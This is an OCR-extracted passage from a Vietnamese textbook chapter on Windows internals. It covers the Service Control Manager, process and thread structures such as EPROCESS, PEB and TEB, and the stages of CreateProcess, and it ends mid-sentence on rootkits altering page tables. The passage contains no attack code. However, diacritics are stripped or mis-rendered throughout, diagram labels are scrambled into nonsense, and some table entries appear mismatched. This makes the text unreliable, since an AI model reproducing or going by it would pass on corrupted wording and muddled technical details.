dich vu thoat dot ngdt khi dich vy thoat ddt ngot,
thuong la khéi dong lai dich vu
FailureCommand | Lénh mac dinh s& chay khi dich vu | Gia tri nay chi dugc SCM doc
thoat dot ngot khi ma FailureActions tro dén
mot chuong trinh.
Security Céc thong tin vé an toan hé thong. | Thong tin vé ai truy cap gi O
dich vu

Trinh quan 1y diéu khién dich vu (Service Control Manager - SCM)

Trén Windows, SCM mic dinh 13 Windows\System32\Services.exe. Hoat dong & ché do dong

1énh. Ham SveCtrlMain thuce thi dé khéi tao cho viée chay cac dich vu. Céc budc nhu sau:
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Bude 1: Ham SveCtrlMain tao mot event dé dong bo, tén 1a SveCtrlEvent A3752DX.
Sau d6 SCM tién hanh nhén cac 1énh tir SCP thong qua cac ham OpenSCManager.

Budc 2: SveCtrlMain goi dich vu ScCreateServiceDB, tao ra mét co s¢ dit li¢u riéng
bén trong luu cac thong tin tur
HKLM\SY STEM\CurrentControlSet\Control\ServiceGroupOrder\List. D6 la danh sach cac
dich vu d3 dugc phan theo nhém va dinh nghia san thtr tu. Sau d6 ScCreateServiceDB sé quét
ndi dung cia HKLM\SYSTEM\CurrentControlSet\Services dé tim ra cic tham sd tng voi
mdi dich vu trong di liéu ctia nu(Céc tham s6 di mo ta & bang ...)

Buéc 3: SCM c6 thé can goi LSASS(dé dang nhdp vao mot dich vu trong mot tai
khoan ngudi dung nao d6), va cho tin hiéu tir LSA_RPC_SERVER_ACTIVE dé biét rang n6
d6 chay xong. Sau d6, SveCtrIMain goi ScGetBootAndSystemDriverState dé tim ra nhimng
truong danh diu 13 boot-start va system-start dé khoi dong cac dich vu quan trong ctia hé
thong.

Trinh diéu khién dich vu (Service Control Programs - SCP)
SCP su dung nhirng ham trong SCM d¢é tao, md khai dong va cac cong viée khac trén dich vu,
bao gom: CreateService, OpenService, StartService, ControlService, QueryServiceStatus va
DeleteService.
Cac budc nhu sau:

Budc 1: Mo kénh lién lac dén SCM bang ham OpenSCManager.

Budc 2: Goi ham CreateService dé tao dich vu, cac thong tin dich vu luu trong co sé
dir liéu ctia SCM di dugc tao tir trude. SCP s& md dich vu theo cac tham s Iuu trong d6 bang
ham APl OpenService.

Budc 3: Thuc hién céc thao tac khac theo yéu cau cua ngudi ding hoic cua SCM bao
gom: cau hinh, dung, lay trang théi va x6a dich vu.

2.4.  QUANLY TIEN TRINH, LUONG VA CONG VIEC

2.4.1. Khai niem mét tién trinh
MOt tién trinh bao gém mot tap céc tai nguyén st dung khi thuc thi mot chuong trinh. Mot
tién trinh thudng bao gom céc thanh phan sau:
e Mot khong gian dia chi 40 danh riéng, gom nhirng dia chi 40 ma tién trinh c6 thé sur
dung
e Mot chuong trinh thuc thi, trong d6 ¢6 ma, dir liéu va dugc anh xa vao khong gian dia
chi a0 cua tién trinh.
e Mot danh sach cac handle cua cac tai nguyén, bao géom semaphore, cac cong, cac tép
tin
e MJot nglr canh bao mat dugc goi 1a access token, dinh nghia quyén han cta nguoi dung
hay nhom nguoi ding duoc lién két véi tién trinh, s& dugc noi dén trong phan 2.4.3.
e Mot s6 duy nhat dé xac dinh tinh duy nhét cua tién trinh: process 1D
e Mot hoic nhiéu ludng thuc thi.

MGi tién trinh tré vao tién trinh cha ctia nd, néu nhu khong cé tién trinh cha thi ciing khong
quan trong vi Windows khéng quan tim dén théng tin nay va noé khéng anh hudng dén hoat
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dong cua hé théng. Cac thong tin vé tién trinh c6 thé xem boi cong cu Process Explorer cta
Sysinternal.com

Cau tric dit ligu

Mdi tién trinh trong Windows dugc biéu dién duéi dang mot khéi tién trinh thuc thi
(EPROCESS). Mbi khbi EPROCESS tré dén mot sd cac cau trac dit liéu lién quan khac nhu
khdi cac ludng (ETHREAD — Chi tiét & myc 2.4.3). Khéi EPROCESS ton tai trong khong
gian dia chi hé thdng, EPROCESS lién két voi khdi Moi trudng tién trinh (PEB) nam trong
khoéng gian dia chi tién trinh(Vi n6 chira cac théng tin ma duogc thay doi boi tmg dung & user-
mode). Ngoai ra mot khéi EPROCESS con tré dén Khdi tién trinh cia Windows va Bang diéu
khién handle.

Frocess
| arwironment |«
block
Thread
S P et
block

Frocass address space

Systern address space

Procacs — | Windows procass block
plock " Handle table
| Thread "
. block

Hinh 2.8. M6i quan hé giita khéi tién trinh va khoi luong

Khébi tién trinh (Process Block) ¢ cac truong sau:
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Hinh 2.9. Céu triic dit lidu cia Khoi tién trinh

Giai thich cac cau truc dir li¢u cia mot tién trinh & bang sau:

Bang 2.7. Cau tric dir liéu ciia Khai tién trinh

Tén

Muc dich

Khbi Kernel Process
(KPROCESS)

Con tré tro t&i khdi ludng ctia nhan (Kernel thread) c6 lién
quan dén tién trinh, chira dit liéu vé mtc do wu tién cua
tién trinh, thoi gian thuc thi tai kernel va user cho cac
ludng trong tién trinh

Dinh danh cta tién trinh

Mot dinh danh xac dinh duy nhat cho mét tién trinh.

Khéi han ngach

Tat ca cac tién trinh trong cung 1 phién lam viéc cua
Windows déu tré vao khoi nay, xac dinh khoi lugng su
dung ctia tién trinh d6i voi pool page va page file.

Bang mo td dia chi ao
(VAD)

Céu trac dir liéu luu vi tri ciia khong gian dia chi ton tai
trong tién trinh.

Thong
(Virtual
information)

tin bd nhd ao

memory

Kich thudc hién tai va kich thudc t6i da cho phép bd nhd
ao duoc su dung

Exception local procedure

Kénh thong tin lién tién trinh, mot tién trinh sur dung khi
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call (LPC) port

ma mot ludng phat sinh ra ngoai 1é.

Access token
(ACCESS_TOKEN)

Céc thong tin vé bao mat gin lién véi tién trinh.

Bang handle

Dia chi ctia bang handle cho mdi tién trinh.

Process environment block
(PEB)

Thong tin vé anh (image-bao gém dia chi co ban, phién
ban, danh sach cac mé dun), thong tin vé bo nhé heap (1a
con tré bat dau tir byte dau tién sau PEB)

Windows subsystem
process block
(W32PROCESS)

Thong tin chi tiét vé tién trinh can thiét cho cac thanh phan
0 kernel-mode.

Chi tiét ciu tric cuia KPROCESS (hoac con duoc goi la PCB - Process Control Block), chira
nhing thong tin co ban ma nhan cta hé diéu hanh can dung dé 1én lich cho cac ludng.

Dispatcher header

. * | Process page directory

Kernel time

Isar time

Inzwap/Outswap list entry

. o[ KTHREAD }— -

Frocess spinlock

Frocessor affinity

Resident karnel stack count

Process base priority

Cefault thread gquantum

Frocess state

Thread sead

Cizable boost flag

Hinh 2.10. Céu tric khoi KPROCESS

Céu trac PEB(Process Environtment Block), ton tai trong khong gian dia chi tién trinh nguoi
dung, chira cac thong tin can thiét dé quan Iy tién trinh bai trinh nap, trinh quan 1y heap, cac
thu vién DLL céan duing né thé chinh stra tir user mode (Vi EPROCESS va KPROCESS chi ¢6
thé truy cép tir trong kernel mode). Ciu tric ciia PEB duge mo ta trong hinh dudi day:
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Image base address

fdodule list

Thread-local storage data

Code page data

Critical section timeout

MNumber of heaps

Heap size information

» »| Process heap
GOl shared handle table

Operating system version number information

Image version information

Image process affinity mask

Hinh 2.11. Céu tric PEB

Bang 2.8. Cac bién toan cuc cua nhan sur dung trong viéc tao va quan ly tién trinh

Tén bién Kiéu Mo ta
PsActiveProcessHead Queue header Pau danh sach cac
tién trinh
PsldleProcess EPROCESS Khoi tién trinh
cho(idle)
PslInitial SystemProcess Con tro tré dén | Con tro tro dén khoi
EPROCESS tién trinh chira cac

tién trinh khoi tao
cia hé diéu hanh,
trong cac tién trinh
khoi tao cd cac
ludng ciia hé thong.
PspCreateProcessNotifyRoutine Mang céc con tré Maéng cac con tro,
trd dén cac thu tuc
tao va xo0a tién
trinh(tdi da 8 phan

tir)
PspCreateProcessNotifyRoutineCount DWORD S6 thi tuc tao xda

tién trinh
PspLoadlmageNotifyRoutine Mang cac con tro Maiang cac con tro

dén cac thu tuc duge
goi lic nap anh tién
trinh

PspLoadlmageNotifyRoutineCount DWORD S6 lugng céc thu tyc
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Tén bién

Kiéu Mo ta

nap anh tién trinh

PspCidTable

Con tré6 tro dén
HANDLE_TABLE

Bang cac handle cho
tien trinh va céac
ludng con.

Bdng 2.9. Cdc bé dém ciia hé thong cé lién quan dén tién trinh

Object: Counter

Function

Phén trdm thoi gian ma cac ludng trong mot tién trinh hoat
dong trong kernel mode trén mot khoang thoi gian nhét dinh.

Process: % Privileged
Time
Process: % Processor
Time

Phan trim thoi gian ma céc tién trinh trong mot ludng sir
dung CPU trong mdt khoang thoi gian xac dinh. C6 gia tri
bang tong clia % Privileged Time va % User Time.

Process: % User Time

Phén trim thoi gian ma cac ludng trong mdt tién trinh hoat
dong trong user mode trén mot khoang thoi gian nhét dinh.

Process: Elapsed Time

Téng thoi gian tinh bang gidy tir khi tién trinh duoc tao

Process: ID Process

Tra vé dinh danh cua tién trinh khi tién trinh d6 thoat, dé st
dung lai cho tién trinh khéc

Process:
Process ID

Creating

Tra vé dinh danh cua tién trinh khi tién trinh duoc tao.

Process: Thread Count

S6 luong trong mét tién trinh

Process: Handle Count

S6 handle lién quan dé mat tién trinh.

Bdng 2.10. Nhitng ham Windows API tic déng lén tién trinh

Tén ham Mo ta
CreateProcess Tao ra mot tién trinh va luéng moi.
CreateProcessAsUser Tao ra tién trinh va ludng v&i mot access token.

CreateProcessWithLogonW

Tao ra tién trinh va ludng véi tén nguoi dung va mat
khau xac dinh.

CreateProcessWithTokenW

Tao ra tién trinh va ludng véi tén nguoi dung va mat
khau xac dinh, kém theo ca access token.

OpenProcess

M¢& mot tién trinh va tra vé diéu khién cuia tién trinh.

ExitProcess

Két thiic mot tién trinh va thong bao cho cac DLL lién
quan.

TerminateProcess

Két thuc mot tién trinh ma khong thong bao cho cac
DLL lién quan.

FlushlInstructionCache

X6a by dém 1€nh

GetProcessTimes

Tra vé thoi gian ma tién trinh str dung trong user mode
va kernel mode

GetExitCodeProcess

Tra vé ma thoat cia mot tién trinh, tor ma nay co thé
xac dinh duoc kiéu thoat cua tién trinh do.
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Tén ham Mo ta
GetCurrentProcess Tréa vé handle cho tién trinh hién thoi

GetCurrentProcessld

Tra vé dinh danh cua tién trinh hién thoi

GetProcessVersion

Tra vé phién ban cua hé di¢u hanh Windows ma tién
trinh chay trén no.

GetStartupInfo

Tra vé ndi dung cta cau trac STARTUPINFO do ham
CreateProcess tao ra.

GetEnvironmentStrings

Tra vé dia chi cia khoi moi truong

GetEnvironmentVariable

Tra vé cac tham s6 cua khoi méi truong

ters

Get/SetProcessShutdownParame

Dinh nghia thir ty thoat va so lan retry cho tién trinh
hién tai.

GetGuiResources

Tra vé handle User va handle GDI.

2.4.2.

Quié trinh tao mét tién trinh

Mot tién trinh Windows duge tao khi ma ung dung goi ham tao tién trinh, nhu 13 ham

CreateProcess,

CreateProcessAsUser,

CreateProcessWithTokenW,

hoac

CreateProcessWithLogonW. Bé tao mot tién trinh thi can nhimng thong tin trong thu vién
client-server Kernel32.dll, trinh thuc thi cia Windows va tién trinh hé théng con cua

Windows.

Stage 1

Stage 2

Stage 3

Stage 4

Stage G

Craeating process

Open EXE and
create section
abject

‘

Create
Windlews
precess objet

!

Cremte
Wirclows
thresad abject

Meatify
W irclows

Windoars subsystam

Set up for rew

subisystem

process aned
thieas

Hew process

Start esec ution

of the initial |+
threacd

!

Return
1o callerl

b

Firal
proces sfimages
initialization

Start execution
at entry point

toirrege

Hinh 2.12. Céc buéc tao mét tién trinh méi

Stage 6
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Dé tao mot tién trinh v6i ham API CreateProcess thi phai qua 6 budc co ban sau:

1. Mo tép tin thyc thi (.exe)

Tao dbi twong thuc thi tién trinh

Tao ludng khai tao va stack, ngit canh cua no.

Théng béo cho hé thong con caa Windows Vé tién trinh méi duoc tao.

Bt dau thuc thi ludng khoi tao.

Trong ngit canh cua ludng va tién trinh méi, hoan thanh viéc khai tao caa khong gian
dia chi(muc dich dé nap nhiing thu vién lién két dong DLL) va bét dau thyc thi
chuong trinh.

o gk wd

Trudce khi goi image, ham CreateProcess thyc hién nhitng budce sau:

e Trong ham CreateProcess,mdi thtr tu wu tién cho cac tién trinh méi 12 mot bit doc lap
trong co CreationFlags, do d6 c6 thé tao mét tién trinh c6 nhiéu mic wu tién,
Windows s& xem xét va chon thtr tu wu tién tir thdp dén cao dé gén cho tién trinh maéi
tao.

e Néu khong c6 mot th tu wu tién nao thi mic dinh s& dugc dat 1a Normal.

e Néu g dung c6 mic wu tién 14 Real-time va tién trinh goi khdng cd kha ning Nang
quyén wu tién, thi tién trinh méi tao ra s& dugc gan mirc vu tién 1a mirc Cao.

e Tat ca cac tién trinh tao ra déu dugc gin véi 1 desktop nao do.

Budce 1: Mé tép tin image

Tép image 1 tép c6 kha ning chay céc tép *.exe, c6 nhiéu loai tép image nhu hinh duéi day,
c6 nhiém vu tao ra mot ddi twong Section va anh xa nd vao khong gian dia chi bo nhd. Néu
khong co tép image nao dugc goi thi mac dinh s& goi cmd.exe vai tham sé truyén sau do 1a
tén chuong trinh.

Fun Cmid.exe Run Mbvdm exe Use exe directly
ME-DOS bt e Windows
ar.cmd

What kind of
application is it?

0842 1 pogy  Me-DOS exe,
/ l comm, of pif
Fum Os2 exe Furn Posix exe Fum Mbvdm exe

Hinh 2.13. Cac dang cua wng dung va tép image twong ung
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Néu ung dung trén Windows la t¢p thuc thi cua Windows, thi n6 s€ dugc goi truc tiép luon
khong thong qua chwong trinh image nao ca. Néu tép thuc thi trong DOS nhu *.com chang
han thi Windows s& goi tép image Ntvdm.exe dé chay *.com.

Sau d6, néu tép thuc thi 1a Windows exe thi CreateProcess s& dén budc 2, néu 1a cac tép thuc
thi con lai thi Budc 1 s€ duoc khai dong lai, va qua trinh thuc hién nhu sau:

Néu tép thuc thi 12 MS-DOS véi phan mo rong 1a exe, com, pif, mot thong diép sé& gui
dén cho hé théng con Windows dé kiém tra xem di chay san tép image thyc thi twong
tmg chua (Ntvdm.exe), cac gia tri tham s6 dwoc luu trong
HKLM\SYSTEM\CurrentControlSet\Control\WOW\cmdline. Néu tép image thuc thi
chua duoc nap thi CreateProcess s& quay lai budc 1. Néu nap rdi (Ntvdm.exe) thi s&
chuyén qua buéc 2.

Néu tép thyc thi 1a MS-DOS c¢6 phan mé rong la com hay bat thi tép image thuc thi
tuong (ng 14 Cmd.exe, tén cua tép thuc thi do s& dugc truyén dang tham sé cho
Cmd.exe

Néu tép thuc thi 1a Win16, CreateProcess s& quyét dinh VDM nao phai dugc tao dé
nap tép d6 thong qua co diéu khién CREATE_SEPARATE_WOW VDM va
CREATE_SHARED WOW_VDM. Néu khdng c6 co nao duogc dit thi mic dinh sé
goi co0 HKLM\SYSTEM\CurrentControlSet\ControN\WOW\ DefaultSeparate\VDM.
Sau khi VDM duoc tao, CreateProcess sé tiép tuc nap tép thuc thi d6. Néu c6 mot tng
dung Win16 nita dugc goi, thi hé théng con Windows s& gui thong diép xem VDM
hién tai c6 hd tro khong, néu khong thi CreateProcess sé chay lai budc 1 dé nap tép
image thuc thi twong (ng véi cac tham sé nhu trén.

Sau budc 1, CreateProcess dd mé duoc tép image thuc thi tuong Gng véi tép can chay
va tao dugc mot ddi twong Section cho nd. Pdi twong chua dwoc anh xa vao bo nhd,
nhung da duoc ma. CreateProcess tim trong
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options dé xem tén tép thuc thi d6 co & d6 chua, néu ¢ & do thi nd s& chay lai budc 1
vé6i nhitng tham s6 Debugger & trong registry.

Budc 2: Tao Ddi twong tién trinh thyc thi trong Windows.

Pé Tao Pdi tugng tién trinh thyc thi trong Windows can 15i goi ham hé théng
NtCreateProcess, s€ thuc hién cac cdng viéc con sau:

2A: Khai tao khéi EPROCESS

2B: Khai tao khong gian dia chi

2C: Khai tao khdi tién trinh cia nhan KPROCESS

2D: Anh xa tép image thyc thi vao khong gian dia chi
2E: Khoi tao PEB

2F: Hoan thién viéc khai tao dbi twong tién trinh thyc thi.

Budce 2A: Khoi tao khdi EPROCESS

Cép phat Windows EPROCESS
K& thira cac thudc tinh tir tién trinh cha
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e Dbat kich thuéc tdp cac cdbng viéc vao PsMinimumWorkingSet va
PsMaximumWorkingSet

e K& thira tén cua cac thiét b (6 dia, COM port,...)

e Luu thong tin dinh danh cua tién trinh cha vao InheritedFromUniqueProcessld

e Tao access token dé quan ly truy nhap.

e Dit trang théai thoat cua tién trinh 1a STATUS_PENDING.

Budc 2B: Khéi tao khong gian dia chi
e Tao ra cac trang trong nhitng ban trang nh¢ thich hop dé anh xa vao, sb trang duoc tao
luu & bién trong kernel MmTotalCommittedPages va né s& duoc cong Vvao
MmProcessCommit.
e Gid tri MmResidentAvailablePages sé duoc trir di tap cac cong viéc nho
nhat(PsMinimumWorkingSet) dé tinh ra c4c trang nhé dang con trong.

Budc 2C: Khéi tao khdi tién trinh cia nhan KPROCESS

Khoi tao KPROCESS chaa nhiing con tro dén mot danh sach cac luong cia hé thong.
KPROCESS ciing duoc tré dén thu muc céc bang trang nhé(dung dé theo doi khong gian dia
chi a0 cua tién trinh), tong thoi gian ma cac ludng da duoc thyc thi, tha tu 1én lich chay theo
muc wu tién cua tién trinh, CPU méc dinh dé thyc thi cac ludng trong tién trinh.

Budc 2D: Anh xa tép image thuc thi vao khong gian dia chi
e Trinh quan Iy bo nhé 4o dat gia tri cua thoi gian san sang cua tién trinh thanh thoi gian
hién tai.
e Trinh quan ly b6 nhé khaoi tao gié tri danh sach cac cong viéc.
e Anh xa dbi tuong Section dugc tao ¢ budc 1 vao khong gian dia chi bo nhd méi. Pia
chi co s cua tién trinh s& dugc dat thanh dia chi co sé cua image.
e Ntdll.dll dugc anh xa vao bo nhé

Budc 2E: Khoi tao PEB

CreateProcess cap phét trang nhé cho PEB sau d6 khoi tao mot sd truong trong bang dudi
day:

Bang 2.11. Khoi tao cac truong trong PEB

Truong Gia tri khoi tao
ImageBaseAddress Dia chi co so cua Section
NumberOfProcessors Gia tri nhan KeNumberProcessors
NtGlobalFlag Gia tri nhan NtGlobalFlag
CriticalSectionTimeout Gia tri nhan MmCriticalSectionTimeout
HeapSegmentReserve Gié tri nhan MmHeapSegmentReserve
HeapSegmentCommit Gia tri nhan MmHeapSegmentCommit
HeapDeCommitTotalFreeThreshold Gia tri nhan
MmHeapDeCommitTotalFreeThreshold
HeapDeCommitFreeBlockThreshold Gia tri nhan
MmHeapDeCommitFreeBlockThreshold
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NumberOfHeaps 0

MaximumNumberOfHeaps (Size of a page - size of a PEB) / 4
ProcessHeaps Byte dau tién sau PEB
OSMajorVersion Gia tri nhan NtMajorVersion
OSMinorVersion Gia tri nhan NtMinorVersion
OSBuildNumber Gia tri nhan NtBuildNumber & O0x3FFF
OSPlatformld 2

Budc 2F: Hoan thién viéc khoi tao ddi tuong tién trinh thyc thi

Néu hé théng co cac thiét 1ap vé bao mat thi qué trinh tao tién trinh s& duoc ghi vao
tép tin Security event log.

Néu tién trinh cha c6 ddi twong cong viéc thi tién trinh con s& thém ddi twong cong
Viéc nay vao.

Néu nhu header cua tép image c6 dit c& IMAGE_FILE_UP_SYSTEM_ ONLY thi tat
ca cac ludng trong tién trinh d6 duoc chay véi 1 bo xir ly duy nhat. Néu khong thi mdi
lan thuc thi mot ludng, bo xir Iy nao dang sin sang thi nd s& dugc dung (ddi véi he
théng c6 nhiéu bo xur 1y)

CreateProcess chén khéi tién trinh mai vao cudi cia danh sach céc tién trinh dang
chay trong Windows (PsActiveProcessHead)

Thoi diém ma tién trinh tao ra duoc dat lai, handle caa tién trinh méi duoc chuyén cho
Kernel32.dll

Budce 3: Tao ludong khoi tao va stack, nglr canh cia nd

Sau khi thyc hién xong budc 2, ddi tuong thuc thi da dugc tao ra, tuy nhién chua c6 ludng nio
dugc tao ca. Vi trude khi tao ludng can khoi tao stack va ngir canh dé ludng c6 thé chay duoc.
Kich thudc cia stack 1a ¢6 dinh bang véi kich thudc trong tép image.

Luc nay, luéng s€ dugc tao ra boi viéc goi ham NtCreateThread. Cac tham sb trong luéng
duogc ldy ra tir khong gian dia chi ciia PEB. NtCreateThread goi PspCreateThread dé thuc
hién cac budc con sau:

Tang gia tri dém s6 ludng trong d6i tuong tién trinh 1én 1

Khai tao khéi ludng thuc thi ETHREAD

Dinh danh cua ludng duoc tao ra cho ludng moi

TEB khoi tao khong gian dia chi cho tién trinh & User mode

Pia chi bat dau cua ludng ¢ user mode duoc luu trong ETHREAD. Dia chi cua ludng
dau tién tring véi BaseProcessStart, con cac luong tiép theo thi dia chi bat dau tur
BaseThreadStart.

KelnitThread duoc goi dé thiét 1ap khdi KTHREAD, thuc hién cdng viéc nhu thiét dat
mtrc d6 ru tién cua ludng, cap phat stack cho ludng, khai tao ngir canh cho ludng. Sau
d6 KelnitThread gan trang thai Initialied cho ludng va tra vé cho PspCreateThread.
Néu c6 nhitng thu tuc théng béo vé viéc tao ludng thi s& dugc goi

Access token cua luong dugc thiét dit gidng nhu cua tién trinh. C6 thé ding
CreateRemoteThread dé tao ludng & trong tién trinh khac, tuy nhién phai xir ly access
token xem tién trinh kia c6 cho phép tao hay khéng.
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Sau budc 3, luéng da duoc khéi tao va san sang dé thuc thi.

Budc 4: Thong bio cho hé théng con ctia Windows v& tién trinh méi duoc tao

Kernel32.dll s& giri thong diép dén cac hé théng con Windows dé cho cac hé théng nay thiét
dat cho tién trinh méi va ludng méi. Thong diép c6 cac thong tin sau:

e Handle cua tién trinh va ludng

e C4c co tao tién trinh

e ID cua trinh tao tién trinh

Hé théng con Windows sau khi nhan dugc thong diép thi s& thuc hién cac budec:

e CreateProcess lap lai handle cua tién trinh va ludng 1én 1

e Khéi tién trinh Csrss dugc cip phat

e Thiét dat cong cho tién trinh méi dé hé thdng con Windows cé thé nhan duoc céc
thong diép xu ly ngoai 1¢ cua tién trinh.

e Khdi ludng Csrss duoc cap phat

e CreateProcess chén ludng vao danh sach luong cho tién trinh.

e Giatri cia sd dém céc tién trinh tang lén 1

e Giatri mac dinh caa Process Shutdown level dugc set thanh 0x280

o Khéi tién trinh méi duoc chén vao danh sach

e Cau trdc pre-process dung boi Windows kernel (W32PROCESS) duogc cap phéat va
khaoi tao.

e Ung dung khéi dong con tro

Budc 5: Bt dau thuc thi ludng khéi tao

Ludng khdi tao bat dau duoc thuc thi néu ¢ CREATE_SUSPENDED trong ltc tao tién trinh
khong dugc thiét dat.

Budc 6: Thuc thi tién trinh trong neit canh cua tién trinh mai.

Mot ludng bat dau dugc chay & kernel-mode bang thu tuc KiThreadStartup, sau d6 cac tham
s6 duoc truyén cho PspUserThreadStartup dé nap image vao bd nhé bang thu tuc
LdrInitializeThunk trong Ntdll.dll. Thu tuc ndy hoan thanh nét viéc khai tao trinh quan Iy
heap, bang NLS(bang hd tro nhiéu ngdn ngir), mang luu trit cuc bd cia ludng va cac thanh
phin quan trong khac. Sau khi PspUserThreadStartup hoan thanh né sé& tra vé cho
KiThreadStartup. APC dispatcher s& goi ham bat dau thuc thi tién trinh nim & user stack khi
ma KiThreadStartup thuc hién xong.

2.4.3.  Khai niem mot ludng
Mot ludng 1a mot thuc thé bén trong mot tién trinh ma Windows 1én lich dé thyc thi, néu
khong co ludng thi tién trinh khong thé chay dugc. Mot ludng thudng bao gdm:
e MO0t tap cac thanh ghi trang thai cia CPU
e Hai stack, mot dung dé cho ludng thuc thi trén kernel mode va mot dung dé thyc thi
trén user mode.
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e Mot vung nhé riéng dé luu trir dit liéu, duoc goi 1a TLS (thread-local storage) dung dé
Iuu trir cac thu vién
e Dinh danh cua ludng (thread ID)

Céc thanh ghi, stack, ving nhé riéng duoc goi 13 ngit canh cua ludng (thread’s CONTEXT ).
Nhimng thong tin nay thuong khic nhau trén mdi may. Windows cung cdp ham
GetThreadContext dé cung cép thong tin cu thé vé nglr canh nay (CONTEXT block).

Mac di cac ludng 6 ngir canh thyc thi riéng, nhung mdi ludng trong ciing mot tién
trinh chia sé¢ ving khong gian dia chi 40 cua tién trinh d6, do vy ma mdi ludng c6 thé doc/ghi
bo nhé caa ludng khéc trong cling maot tién trinh. Céc ludng khdng thé tham chiéu dén ving
khéng gian dia chi a0 cua tién trinh khac, tuy nhién, mdi tién trinh c6 dé ra mot phan vung dia
chi riéng cua nd lam vung nhé chia sé (dugc goi la file mapping object trong ham Windows
API), hodc mot tién trinh c6 quyén dé doc ghi vao ving nhd cua tién trinh khac sir dung
nhiing ham truy xuét bo nhé chéo nhu ReadProcessMemory va WriteProcessMemory.

Accass tokan Wirtual address descriptors (WADs)

Frocess
| e /w-.l::-/ /w«o/ /W-.D/

Handle table

I —*| Object
| —| Cbject
I |
I |

r

Thread> Thread> |1'|read> o

Accass token

Hinh 2.14. C4c luong trong mét doi tuwong tién trinh

Ca tién trinh va luéng déu c6 mot nglr canh bao mat dugc luu trong mot ddi tuong la access
token. Mdi access token cua tién trinh déu chira thong tin bao méat cho tién trinh. Mic dinh
cac ludng khong co access token nhung c6 thé 1 ludng trong sé d6 duoc gan mot access token
dé bao dam an toan cho no.

Béang mo ta dia chi a0 (VAD) 12 mét cau trac dit liéu ma chuong trinh quan 1y bo nhé
str dung dé theo doi vung khong gian dia chi 40 ma tién trinh sir dung. Cau trac ndy dugc giai
thich chi tiét & phan 2.5.

Céu trac dit liéu ciia mot luéng:

Mot ludng thudng duoc biéu dién bang mot khdi ludng thuc thi (ETHREAD). Khéi nay tro
dén mot khong gian dia chi bo nhé hé théng va khbi méi truong ludng (TEB).
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KTHEEAD

Create and exit times

Frocass 1D

Chuong 2

TER |

=  EPROCESS |

Thraead start addrass

.

:l Access tokean

Irmpersonation information

LPC message information

Timer infermation

e |Per'|dir|g [/ requests|

Hinh 2.15. Cdu trdc dé lidu ciia mét luong

Bdng 2.12. y nghia cdc trirong trong cau tric di liéu cia luong

Phan tir Y nghia
Thread time Thoi gian tao va thoat ludng
Process ID Dinh danh ludng
Start address Dia chi bit dau

Impersonation
information

Tro dén access token dé quan 1y quyén han truy nhap

LPC information

Pinh danh cua thong diép can duoc iy dia chi

1/0 information

Danh sach yéu cau vao ra
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Dispatcher headar

Total user tirme

Total kernel time

Chuong 2

=| Fernal stack information |

‘—‘l system service table |

Thread-scheduling infarmation

Trap frame

'—‘l Thread-local storage arra}rl

synchronization information

List of pending AFCs

Tirmer block and wait block

List of objeds thread is waiting on

d TER |

Hinh 2.16. Chi tiét vé cdu tric KTHREAD bén trong ETHREAD

Bang 2.13. y nghia cac truwong trong KTHREAD

Phan tir Y nghia

Dispatcher header

Header chuan cia mot khoi dang kernel dispatcher object.

Execution time

Thoi gian dung CPU cé ¢ user mode va kernel mode

Pointer to kernel stack

information

Tro dén dia chi co so cua kernel stack

Pointer to system service
table

MGdi tién trinh bat dau déu phai tro dén bang dich vu hé
thong KeServiceDescriptorTable

Scheduling information

Cac thong tin 1énh lich chay, bao gém thtr ty uu tién, dinh
luong, cac quan hé, bd xir 1y, so lan treo, s6 lan dung.

Wait blocks

C6 san mot sO khoi doi dé khi luong doi 1 cai gi do. 1 khoi
doi tng véi 1 khoang thoi gian nao do.

Wait information

Danh sach cac d6i tuong ma luong can phai doi bao gom
doi cai gi, bao lau, 1y do phai doi

Mutant list Danh sach cac doi tuong ma ludng so hiru

APC queues Hang dogi cac APC ¢ user mode va kernel mode
Timer block Bo dém gid cho wait block

Queue list Con tro dén doi tuong Hang doi ma ludng gan voi

Pointer to TEB

Chtra Dinh danh luéng, thong tin TLS, con tr6 PEB, GDI
va OpenGL, chi tiét nhu hinh dudi:

Mot khéi TEB chira cac thong tin vé ngir canh cho trinh nap image va cac thu vién DLL cua

Windows khoc. Vi cac thanh phan déu chay & user mode nén cau trdc dit liéu nay c6 thé ghi
dugc trén user mode, do d6 no ton tai trén khong gian dia chi cua tién trinh thay vi ton tai
trong khong gian dia chi ciia hé théng. Mubn xem théng tin chi tiét vé cau tric nao c6 thé

dung Iénh Ithread cua trinh Kernel Debugger
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Excaprion list

Stack base

srack limit
o :| Subsystemn thread information block (TIE) |
- ;| Fiber infarmation |

Thread &

Active RPC handle

. »| PEE |

LastError value

Count of owned aitical sections

Current locale

Lser32 client information
G032 information

OpenGL information

TL= array

& =| Winsock data

Hinh 2.17. Cau trac khéi khoi TEB

Bdng 2.14. Cdc bién ciia Kernel quan Iy viéc tao va thuc thi luong

Bién Loai Mo ta
PspCreateThreadNotifyRoutine Mang cac con | Mang cac con tro dén nhirng
tro thu tuc s€ dugc goi khi tao va
x0a cac ludng.
PspCreate ThreadNotifyRoutineCount | DWORD S6 thu tuc thong béo vé ding
ky ludng.
PspCreateProcessNotifyRoutine Mang cic con | Mang cac con tro dén cac thu
trod tuc s€ duogc goi trong lic tao
x6a tién trinh.

Bang 2.15. Cdc ham lién quan dén luong

Ham M6 ta
CreateThread Tao mot ludng méi
CreateRemoteThread Tao mot ludong méi & mot tién trinh khac
OpenThread Mo mot ludng da co
ExitThread Két thuc hoat dong cia 1 luong mét cich binh

thuong
TerminateThread Ngit ludng.
GetExitCodeThread Lay ma luc thoat ctia mot ludng khac
GetThreadTimes Tra vé thoi gian chay ciia mot ludng.
GetCurrentProcess Tra vé handle cua ludng hién tai.
GetCurrentProcessld Tra vé dinh danh cta ludng hién tai
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GetThreadld

Tra vé dinh danh cta 1 luong bat ki

Get/SetThreadContext

Tra vé thay d6i trong thanh ghi CPU ciia ludng.

GetThreadSelectorEntry

Tra vé bang mo ta luong(chi co trong cac hé thong
x86)

Khi mét ludng méi duoc tao ra, né c6 mot kernel stack riéng, trang thai cua ludng cii s& duoc

lru vao dinh cua stack cua ludng cii, va

ngir canh ludng s& nap céc thong tin caa ludng mai

vao kernel stack cua nd. Néu ludng nam trong mét tién trinh méi thi hé thdng s& tao mét trang
nhé méi va nap dia chi cia nd vao thanh ghi CR3. Dia chi trang nhé ¢6 thé tim thiy duoc
trong khdi KPROCESS. Néu rootkit c6 thé thay doi duoc bang trang cua tién trinh thi n6 s&
